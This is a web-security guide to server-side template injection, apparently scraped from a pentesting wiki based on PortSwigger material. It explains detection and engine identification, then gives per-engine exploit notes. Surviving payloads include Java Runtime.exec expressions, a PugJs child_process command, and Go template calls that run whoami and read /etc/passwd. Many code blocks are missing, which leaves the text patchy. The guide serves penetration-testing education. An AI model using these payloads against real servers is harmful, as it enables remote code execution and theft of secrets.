SSTI (Server Side Template Injection)
This guide is based on the one of Portswigger: https://portswigger.net/web-security/server-side-template-injection
What is server-side template injection?
A server-side template injection occurs when an attacker is able to use native template syntax to inject a malicious payload into a template, which is then executed server-side.
Template engines are designed to generate web pages by combining fixed templates with volatile data. Server-side template injection attacks can occur when user input is concatenated directly into a template, rather than passed in as data. This allows attackers to inject arbitrary template directives in order to manipulate the template engine, often enabling them to take complete control of the server.
An example of vulnerable code see the following one:
In the previous example part of the template itself is being dynamically generated using the GET
parameter name
. As template syntax is evaluated server-side, this potentially allows an attacker to place a server-side template injection payload inside the name
parameter as follows:
Constructing a server-side template injection attack
Detect
As with any vulnerability, the first step towards exploitation is being able to find it. Perhaps the simplest initial approach is to try fuzzing the template by injecting a sequence of special characters commonly used in template expressions, such as the polyglot ${{<%[%'"}}%\
.
In order to check if the server is vulnerable you should spot the differences between the response with regular data on the parameter and the given payload.
If an error is thrown it will be quiet easy to figure out that the server is vulnerable and even which engine is running. But you could also find a vulnerable server if you were expecting it to reflect the given payload and it is not being reflected or if there are some missing chars in the response.
Detect - Plaintext context
The given input is being rendered and reflected into the response. This is easily mistaken for a simple XSS vulnerability, but it's easy to differentiate if you try to set mathematical operations within a template expression:
Detect - Code context
In these cases the user input is being placed within a template expression:
The URL access that page could be similar to: http://vulnerable-website.com/?greeting=data.username
If you change the greeting
parameter for a different value the response won't contain the username, but if you access something like: http://vulnerable-website.com/?greeting=data.username}}hello
then, the response will contain the username (if the closing template expression chars were }}
).
If an error is thrown during these test, it will be easier to find that the server is vulnerable.
Identify
Once you have detected the template injection potential, the next step is to identify the template engine. Although there are a huge number of templating languages, many of them use very similar syntax that is specifically chosen not to clash with HTML characters.
If you are lucky the server will be printing the errors and you will be able to find the engine used inside the errors. Some possible payloads that may cause errors:
|
|
|
|
|
|
|
|
|
|
| `` |
Otherwise, you'll need to manually test different language-specific payloads and study how they are interpreted by the template engine. A common way of doing this is to inject arbitrary mathematical operations using syntax from different template engines. You can then observe whether they are successfully evaluated. To help with this process, you can use a decision tree similar to the following:
Exploit
Read
The first step after finding template injection and identifying the template engine is to read the documentation. Key areas of interest are:
'For Template Authors' sections covering basic syntax.
'Security Considerations' - chances are whoever developed the app you're testing didn't read this, and it may contain some useful hints.
Lists of builtin methods, functions, filters, and variables.
Lists of extensions/plugins - some may be enabled by default.
Explore
Assuming no exploits have presented themselves, the next step is to explore the environment to find out exactly what you have access to. You can expect to find both default objects provided by the template engine, and application-specific objects passed in to the template by the developer. Many template systems expose a 'self' or namespace object containing everything in scope, and an idiomatic way to list an object's attributes and methods.
If there's no builtin self object you're going to have to bruteforce variable names using SecLists and Burp Intruder's wordlist collection.
Developer-supplied objects are particularly likely to contain sensitive information, and may vary between different templates within an application, so this process should ideally be applied to every distinct template individually.
Attack
At this point you should have a firm idea of the attack surface available to you and be able to proceed with traditional security audit techniques, reviewing each function for exploitable vulnerabilities. It's important to approach this in the context of the wider application - some functions can be used to exploit application-specific features. The examples to follow will use template injection to trigger arbitrary object creation, arbitrary file read/write, remote file include, information disclosure and privilege escalation vulnerabilities.
Tools
Exploits
Generic
In this wordlist you can find variables defined in the environments of some of the engines mentioned below:
Java
Java - Basic injection
Java - Retrieve the system’s environment variables
Java - Retrieve /etc/passwd
FreeMarker (Java)
You can try your payloads at https://try.freemarker.apache.org
{{7*7}} = {{7*7}}
${7*7} = 49
#{7*7} = 49 -- (legacy)
${7*'7'} Nothing
${foobar}
Freemarker - Sandbox bypass
⚠️ only works on Freemarker versions below 2.3.30
More information
In FreeMarker section of https://portswigger.net/research/server-side-template-injection
Velocity (Java)
More information
In Velocity section of https://portswigger.net/research/server-side-template-injection
Thymeleaf (Java)
The typical test expression for SSTI is ${7*7}
. This expression works in Thymeleaf, too. If you want to achieve remote code execution, you can use one of the following test expressions:
SpringEL:
${T(java.lang.Runtime).getRuntime().exec('calc')}
OGNL:
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
However, as we mentioned before, expressions only work in special Thymeleaf attributes. If it’s necessary to use an expression in a different location in the template, Thymeleaf supports expression inlining. To use this feature, you must put an expression within [[...]]
or [(...)]
(select one or the other depending on whether you need to escape special symbols). Therefore, a simple SSTI detection payload for Thymeleaf would be [[${7*7}]]
.
Chances that the above detection payload would work are, however, very low. SSTI vulnerabilities usually happen when a template is dynamically generated in the code. Thymeleaf, by default, doesn’t allow such dynamically generated templates and all templates must be created earlier. Therefore, if a developer wants to create a template from a string on the fly, they would need to create their own TemplateResolver. This is possible but happens very rarely.
If we take a deeper look into the documentation of the Thymeleaf template engine, we will find an interesting feature called expression preprocessing. Expressions placed between double underscores (__...__
) are preprocessed and the result of the preprocessing is used as part of the expression during regular processing. Here is an official example from Thymeleaf documentation:
Vulnerable example
More information
Spring View Manipulation (Java)
https://github.com/veracode-research/spring-view-manipulation
Pebble (Java)
{{ someString.toUPPERCASE() }}
Old version of Pebble ( < version 3.0.9):
New version of Pebble :
Jinjava (Java)
Jinjava is an open source project developed by Hubspot, available at https://github.com/HubSpot/jinjava/
Jinjava - Command execution
Fixed by https://github.com/HubSpot/jinjava/pull/230
More information
Hubspot - HuBL (Java)
{% %}
statement delimiters{{ }}
expression delimiters{# #}
comment delimiters{{ request }}
- com.hubspot.content.hubl.context.TemplateContextRequest@23548206{{'a'.toUpperCase()}}
- "A"{{'a'.concat('b')}}
- "ab"{{'a'.getClass()}}
- java.lang.String{{request.getClass()}}
- class com.hubspot.content.hubl.context.TemplateContextRequest{{request.getClass().getDeclaredMethods()[0]}}
- public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
Search for "com.hubspot.content.hubl.context.TemplateContextRequest" and discovered the Jinjava project on Github.
More information
Expression Language - EL (Java)
${"aaaa"}
- "aaaa"${99999+1}
- 100000.#{7*7}
- 49${{7*7}}
- 49${{request}}, ${{session}}, {{faceContext}}
EL provides an important mechanism for enabling the presentation layer (web pages) to communicate with the application logic (managed beans). The EL is used by several JavaEE technologies, such as JavaServer Faces technology, JavaServer Pages (JSP) technology, and Contexts and Dependency Injection for Java EE (CDI). Check the following page to learn more about the exploitation of EL interpreters:
pageEL - Expression LanguageSmarty (PHP)
More information
In Smarty section of https://portswigger.net/research/server-side-template-injection
Twig (PHP)
{{7*7}} = 49
${7*7} = ${7*7}
{{7*'7'}} = 49
{{1/0}} = Error
{{foobar}} Nothing
Twig - Template format
More information
In Twig and Twig (Sandboxed) section of https://portswigger.net/research/server-side-template-injection
Jade (NodeJS)
More information
In Jade section of https://portswigger.net/research/server-side-template-injection
Handlebars (NodeJS)
Path Traversal (more info here).
= Error
${7*7} = ${7*7}
Nothing
More information
JsRender (NodeJS)
Template | Description |
Evaluate and render output | |
Evaluate and render HTML encoded output | |
Comment | |
and | Allow code (disabled by default) |
= 49
Client Side
Server Side
More information
PugJs (NodeJS)
#{7*7} = 49
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
Example server side render
More information
ERB (Ruby)
{{7*7}} = {{7*7}}
${7*7} = ${7*7}
<%= 7*7 %> = 49
<%= foobar %> = Error
More information
Slim (Ruby)
{ 7 * 7 }
More information
Python
Check out the following page to learn tricks about arbitrary command execution bypassing sandboxes in python:
pageBypass Python sandboxesTornado (Python)
{{7*7}} = 49
${7*7} = ${7*7}
{{foobar}} = Error
{{7*'7'}} = 7777777
More information
Jinja2 (Python)
Jinja2 is a full featured template engine for Python. It has full unicode support, an optional integrated sandboxed execution environment, widely used and BSD licensed.
{{7*7}} = Error
${7*7} = ${7*7}
{{foobar}} Nothing
{{4*4}}[[5*5]]
{{7*'7'}} = 7777777
{{config}}
{{config.items()}}
{{settings.SECRET_KEY}}
{{settings}}
{% debug %}
Jinja2 - Template format
Jinja2 - Debug Statement
If the Debug Extension is enabled, a `
` tag will be available to dump the current context as well as the available filters and tests. This is useful to see what’s available to use in the template without setting up a debugger.
Source: https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement
Jinja2 - Dump all used classes
Jinja2 - Dump all config variables
Jinja2 - Read remote file
Jinja2 - Write into remote file
Jinja2 - Remote Code Execution
Listen for connection
Exploit the SSTI by calling subprocess.Popen.
⚠️ the number 396 will vary depending of the application.
Exploit the SSTI by calling Popen without guessing the offset
Simply modification of payload to clean up output and facilitate command input (https://twitter.com/SecGus/status/1198976764351066113) In another GET parameter include a variable named "input" that contains the command you want to run (For example: &input=ls)
More:
Exploit SSTI without ""
Exploit the SSTI by writing an evil config file.
Jinja2 - Filter bypass
Bypassing _
Bypassing [
and ]
Bypassing |join
Bypassing most common filters ('.','_','|join','[',']','mro' and 'base') by https://twitter.com/SecGus:
More information
Mako (Python)
Razor (.Net)
@(1+2)
@( //C#Code )
The .NET
System.Diagnostics.Process.Start
method can be used to start any process on the server and thus create a webshell. You can find a vulnerable webapp example in https://github.com/cnotin/RazorVulnerableApp
More information
Mojolicious (Perl)
Even if it's perl it uses tags like ERB in Ruby.
<%= 7*7 %> = 49
<%= foobar %> = Error
Method Confusion in GO
It's possible to call methods of the object that is passed to the context of the template.
For example if an object has the method System
to execute a command or the method File
to read a file you could achieve RCE o read arbitrary files with:
{{.System "whoami"}}
{{.File "/etc/passwd}}
More information in the original research https://www.onsecurity.io/blog/go-ssti-method-research/
More Exploits
Check the rest of https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection for more exploits. Also you can find interesting tags information in https://github.com/DiogoMRSilva/websitesVulnerableToSSTI
BlackHat PDF
Related Help
If you think it could be useful, read:
Tools
Brute-Force Detection List
Practice
Last updated